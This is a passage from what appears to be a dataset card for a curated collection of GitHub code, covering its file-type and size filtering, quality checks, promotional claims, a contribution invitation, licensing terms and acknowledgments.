5 🏷️ Metadata preservation Maintain context

🚫 What We Filtered Out

File Types Removed:

  • 50+ binary extensions (images, models, executables)
  • 30+ build/system directories
  • 15+ configuration file types
  • All files outside 1KB-5MB range

Quality Checks:

  • ✅ UTF-8 text validation
  • ✅ Non-empty content check
  • ✅ Binary detection
  • ✅ Repository structure preservation

🎪 Why This Dataset Matters

💫 The Quality Revolution

We reject the "more data is better" dogma. Instead, we offer:

  • 🎯 Intentional Curation: Every file serves a purpose
  • ⚖️ Balanced Perspective: Popular + Emerging = Complete picture
  • 🧹 Unprecedented Cleanliness: The cleanest code dataset available
  • 📅 Temporal Intelligence: 2025-focused for relevance

🤝 Contributing & Feedback

This dataset is a living project. We welcome:

  • 🐛 Bug reports and issues
  • 💡 Feature requests for future versions
  • 📊 Validation of data quality
  • 🎯 Suggestions for improvement

📜 License

This dataset aggregates Github repos. Each individual repo maintains its original copyright and license terms (typically various Creative Commons licenses like CC BY, CC BY-NC, etc.). Users must verify and comply with the specific license of any repo they extract and use from this collection. The MIT license in this repository applies only to the dataset compilation and packaging code.

Important: Repository contents maintain their original licenses. Please respect individual project licenses when using this data.

🙏 Acknowledgments

Built with gratitude for the entire open-source community. Every file in this dataset represents hours of dedication from developers worldwide.


⭐ If this dataset helps your research or project, please consider starring the repository!

"In the pursuit of AI that understands code, we must first understand what code is worth learning."

Downloads last month
7,228